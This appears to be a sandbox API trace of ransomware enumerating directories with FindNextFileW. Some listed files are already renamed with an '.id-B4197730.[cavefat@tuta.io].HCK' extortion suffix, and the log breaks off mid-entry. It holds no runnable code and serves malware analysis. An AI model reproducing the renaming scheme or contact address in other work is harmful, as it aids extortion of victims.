[0245.520] FindNextFileW (in: hFindFile=0x53a218, lpFindFileData=0x376fa7c | out: lpFindFileData=0x376fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1512, dwReserved1=0xffffcd21, cFileName="1028", cAlternateFileName="")) returned 1 [0245.521] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x4110058 | out: hHeap=0x520000) returned 1 [0245.521] FindNextFileW (in: hFindFile=0x53a218, lpFindFileData=0x376fa7c | out: lpFindFileData=0x376fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1512, dwReserved1=0xffffcd21, cFileName="1029", cAlternateFileName="")) returned 1 [0245.522] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x4110058 | out: hHeap=0x520000) returned 1 [0245.522] FindNextFileW (in: hFindFile=0x53a218, lpFindFileData=0x376fa7c | out: lpFindFileData=0x376fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1512, dwReserved1=0xffffcd21, cFileName="1030", cAlternateFileName="")) returned 1 [0245.523] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x4110058 | out: hHeap=0x520000) returned 1 [0245.523] FindNextFileW (in: hFindFile=0x53a218, lpFindFileData=0x376fa7c | out: lpFindFileData=0x376fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1512, dwReserved1=0xffffcd21, cFileName="1031", cAlternateFileName="")) returned 1 [0245.524] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x4110058 | out: hHeap=0x520000) returned 1 [0245.524] FindNextFileW (in: hFindFile=0x53a218, lpFindFileData=0x376fa7c | out: lpFindFileData=0x376fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1512, dwReserved1=0xffffcd21, cFileName="1032", cAlternateFileName="")) returned 1 [0245.526] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x4110058 | out: hHeap=0x520000) returned 1 [0245.526] FindNextFileW (in: hFindFile=0x53a218, lpFindFileData=0x376fa7c | out: lpFindFileData=0x376fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1512, dwReserved1=0xffffcd21, cFileName="1033", cAlternateFileName="")) returned 1 [0245.527] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x4110058 | out: hHeap=0x520000) returned 1 [0245.527] FindNextFileW (in: hFindFile=0x53a218, lpFindFileData=0x376fa7c | out: lpFindFileData=0x376fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1512, dwReserved1=0xffffcd21, cFileName="1035", cAlternateFileName="")) returned 1 [0245.528] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x4110058 | out: hHeap=0x520000) returned 1 [0245.528] FindNextFileW (in: hFindFile=0x53a218, lpFindFileData=0x376fa7c | out: lpFindFileData=0x376fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1512, dwReserved1=0xffffcd21, cFileName="1036", cAlternateFileName="")) returned 1 [0245.529] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x4110058 | out: hHeap=0x520000) returned 1 [0245.529] FindNextFileW (in: hFindFile=0x53a218, lpFindFileData=0x376fa7c | out: lpFindFileData=0x376fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1512, dwReserved1=0xffffcd21, cFileName="1037", cAlternateFileName="")) returned 1 [0245.530] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x4110058 | out: hHeap=0x520000) returned 1 [0245.530] FindNextFileW (in: hFindFile=0x53a218, lpFindFileData=0x376fa7c | out: lpFindFileData=0x376fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1512, dwReserved1=0xffffcd21, cFileName="1038", cAlternateFileName="")) returned 1 [0245.531] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x4110058 | out: hHeap=0x520000) returned 1 [0245.531] FindNextFileW (in: hFindFile=0x53a218, lpFindFileData=0x376fa7c | out: lpFindFileData=0x376fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1512, dwReserved1=0xffffcd21, cFileName="1040", cAlternateFileName="")) returned 1 [0245.532] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x4110058 | out: hHeap=0x520000) returned 1 [0245.532] FindNextFileW (in: hFindFile=0x53a218, lpFindFileData=0x376fa7c | out: lpFindFileData=0x376fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1512, dwReserved1=0xffffcd21, cFileName="1041", cAlternateFileName="")) returned 1 [0245.569] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x4110058 | out: hHeap=0x520000) returned 1 [0245.569] FindNextFileW (in: hFindFile=0x53a218, lpFindFileData=0x376fa7c | out: lpFindFileData=0x376fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1512, dwReserved1=0xffffcd21, cFileName="1042", cAlternateFileName="")) returned 1 [0245.571] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x4110058 | out: hHeap=0x520000) returned 1 [0245.571] FindNextFileW (in: hFindFile=0x53a218, lpFindFileData=0x376fa7c | out: lpFindFileData=0x376fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1512, dwReserved1=0xffffcd21, cFileName="1043", cAlternateFileName="")) returned 1 [0245.572] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x4110058 | out: hHeap=0x520000) returned 1 [0245.572] FindNextFileW (in: hFindFile=0x53a218, lpFindFileData=0x376fa7c | out: lpFindFileData=0x376fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1512, dwReserved1=0xffffcd21, cFileName="1044", cAlternateFileName="")) returned 1 [0245.573] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x4110058 | out: hHeap=0x520000) returned 1 [0245.573] FindNextFileW (in: hFindFile=0x53a218, lpFindFileData=0x376fa7c | out: lpFindFileData=0x376fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1512, dwReserved1=0xffffcd21, cFileName="1045", cAlternateFileName="")) returned 1 [0245.574] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x4110058 | out: hHeap=0x520000) returned 1 [0245.574] FindNextFileW (in: hFindFile=0x53a218, lpFindFileData=0x376fa7c | out: lpFindFileData=0x376fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1512, dwReserved1=0xffffcd21, cFileName="1046", cAlternateFileName="")) returned 1 [0245.576] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x4110058 | out: hHeap=0x520000) returned 1 [0245.576] FindNextFileW (in: hFindFile=0x53a218, lpFindFileData=0x376fa7c | out: lpFindFileData=0x376fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1512, dwReserved1=0xffffcd21, cFileName="1049", cAlternateFileName="")) returned 1 [0245.577] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x4110058 | out: hHeap=0x520000) returned 1 [0245.577] FindNextFileW (in: hFindFile=0x53a218, lpFindFileData=0x376fa7c | out: lpFindFileData=0x376fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1512, dwReserved1=0xffffcd21, cFileName="1053", cAlternateFileName="")) returned 1 [0245.578] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x4110058 | out: hHeap=0x520000) returned 1 [0245.578] FindNextFileW (in: hFindFile=0x53a218, lpFindFileData=0x376fa7c | out: lpFindFileData=0x376fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1512, dwReserved1=0xffffcd21, cFileName="1055", cAlternateFileName="")) returned 1 [0245.579] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x4110058 | out: hHeap=0x520000) returned 1 [0245.579] FindNextFileW (in: hFindFile=0x53a218, lpFindFileData=0x376fa7c | out: lpFindFileData=0x376fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1512, dwReserved1=0xffffcd21, cFileName="2052", cAlternateFileName="")) returned 1 [0245.580] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x4110058 | out: hHeap=0x520000) returned 1 [0245.580] FindNextFileW (in: hFindFile=0x53a218, lpFindFileData=0x376fa7c | out: lpFindFileData=0x376fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1512, dwReserved1=0xffffcd21, cFileName="2070", cAlternateFileName="")) returned 1 [0245.582] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x4110058 | out: hHeap=0x520000) returned 1 [0245.582] FindNextFileW (in: hFindFile=0x53a218, lpFindFileData=0x376fa7c | out: lpFindFileData=0x376fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1512, dwReserved1=0xffffcd21, cFileName="3076", cAlternateFileName="")) returned 1 [0245.583] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x4110058 | out: hHeap=0x520000) returned 1 [0245.583] FindNextFileW (in: hFindFile=0x53a218, lpFindFileData=0x376fa7c | out: lpFindFileData=0x376fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1512, dwReserved1=0xffffcd21, cFileName="3082", cAlternateFileName="")) returned 1 [0245.585] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x4110058 | out: hHeap=0x520000) returned 1 [0245.585] FindNextFileW (in: hFindFile=0x53a218, lpFindFileData=0x376fa7c | out: lpFindFileData=0x376fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf3768b28, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1512, dwReserved1=0xffffcd21, cFileName="Client", cAlternateFileName="")) returned 1 [0245.586] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x4110058 | out: hHeap=0x520000) returned 1 [0245.586] FindNextFileW (in: hFindFile=0x53a218, lpFindFileData=0x376fa7c | out: lpFindFileData=0x376fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa38552cb, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0xa38552cb, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa3b60fdd, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x3ff4, dwReserved0=0x1512, dwReserved1=0xffffcd21, cFileName="DHtmlHeader.html.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="DHTMLH~1.HCK")) returned 1 [0245.587] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x4110058 | out: hHeap=0x520000) returned 1 [0245.587] FindNextFileW (in: hFindFile=0x53a218, lpFindFileData=0x376fa7c | out: lpFindFileData=0x376fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf36f6419, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf371c69a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf371c69a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1512, dwReserved1=0xffffcd21, cFileName="Graphics", cAlternateFileName="")) returned 1 [0245.589] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x4110058 | out: hHeap=0x520000) returned 1 [0245.589] FindNextFileW (in: hFindFile=0x53a218, lpFindFileData=0x376fa7c | out: lpFindFileData=0x376fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa38edc3b, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0xa38edc3b, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa38edc3b, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0xf18, dwReserved0=0x1512, dwReserved1=0xffffcd21, cFileName="header.bmp.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="HEADER~1.HCK")) returned 1 [0245.589] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x4100050 | out: hHeap=0x520000) returned 1 [0245.590] FindNextFileW (in: hFindFile=0x53a8d8, lpFindFileData=0x376fcf8 | out: lpFindFileData=0x376fcf8*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6fa258, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef6fa258, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x77000000, dwReserved1=0x0, cFileName="Boot", cAlternateFileName="")) returned 1 [0245.592] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x4110058 | out: hHeap=0x520000) returned 1 [0245.592] FindNextFileW (in: hFindFile=0x53a358, lpFindFileData=0x376fa7c | out: lpFindFileData=0x376fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef4e6d79, ftCreationTime.dwHighDateTime=0x1d3273d, ftLastAccessTime.dwLowDateTime=0xef4e6d79, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2d79a60, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x175a0, dwReserved0=0x1512, dwReserved1=0xffffcd21, cFileName="bootspaces.dll", cAlternateFileName="BOOTSP~1.DLL")) returned 1 [0245.592] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x4110058 | out: hHeap=0x520000) returned 1 [0245.592] FindNextFileW (in: hFindFile=0x53a358, lpFindFileData=0x376fa7c | out: lpFindFileData=0x376fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47e189c, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0008dbb, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5252b3, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1512, dwReserved1=0xffffcd21, cFileName="da-DK", cAlternateFileName="")) returned 1 [0245.592] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x4110058 | out: hHeap=0x520000) returned 1 [0245.592] FindNextFileW (in: hFindFile=0x53a358, lpFindFileData=0x376fa7c | out: lpFindFileData=0x376fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48079da, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0009692, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef538bee, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1512, dwReserved1=0xffffcd21, cFileName="de-DE", cAlternateFileName="")) returned 1 [0245.592] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x4110058 | out: hHeap=0x520000) returned 1 [0245.592] FindNextFileW (in: hFindFile=0x53a358, lpFindFileData=0x376fa7c | out: lpFindFileData=0x376fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef555ff8, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef555ff8, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1512, dwReserved1=0xffffcd21, cFileName="el-GR", cAlternateFileName="")) returned 1 [0245.593] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x4110058 | out: hHeap=0x520000) returned 1 [0245.593] FindNextFileW (in: hFindFile=0x53a358, lpFindFileData=0x376fa7c | out: lpFindFileData=0x376fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc482dc87, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc482dc87, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1512, dwReserved1=0xffffcd21, cFileName="en-GB", cAlternateFileName="")) returned 1 [0245.593] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x4110058 | out: hHeap=0x520000) returned 1 [0245.593] FindNextFileW (in: hFindFile=0x53a358, lpFindFileData=0x376fa7c | out: lpFindFileData=0x376fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef57d0f5, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef57d0f5, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1512, dwReserved1=0xffffcd21, cFileName="en-US", cAlternateFileName="")) returned 1 [0245.593] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x4110058 | out: hHeap=0x520000) returned 1 [0245.593] FindNextFileW (in: hFindFile=0x53a358, lpFindFileData=0x376fa7c | out: lpFindFileData=0x376fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000b9ad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef586d37, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1512, dwReserved1=0xffffcd21, cFileName="es-ES", cAlternateFileName="")) returned 1 [0245.593] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x4110058 | out: hHeap=0x520000) returned 1 [0245.593] FindNextFileW (in: hFindFile=0x53a358, lpFindFileData=0x376fa7c | out: lpFindFileData=0x376fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000c12e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc4853f40, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1512, dwReserved1=0xffffcd21, cFileName="es-MX", cAlternateFileName="")) returned 1 [0245.594] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x4110058 | out: hHeap=0x520000) returned 1 [0245.594] FindNextFileW (in: hFindFile=0x53a358, lpFindFileData=0x376fa7c | out: lpFindFileData=0x376fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc487a0b9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc487a0b9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1512, dwReserved1=0xffffcd21, cFileName="et-EE", cAlternateFileName="")) returned 1 [0245.594] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x4110058 | out: hHeap=0x520000) returned 1 [0245.594] FindNextFileW (in: hFindFile=0x53a358, lpFindFileData=0x376fa7c | out: lpFindFileData=0x376fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000cf3a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef59a5b1, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1512, dwReserved1=0xffffcd21, cFileName="fi-FI", cAlternateFileName="")) returned 1 [0245.594] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x4110058 | out: hHeap=0x520000) returned 1 [0245.594] FindNextFileW (in: hFindFile=0x53a358, lpFindFileData=0x376fa7c | out: lpFindFileData=0x376fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc49ab3c7, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0109451, ftLastAccessTime.dwHighDateTime=0x1d47ca3, 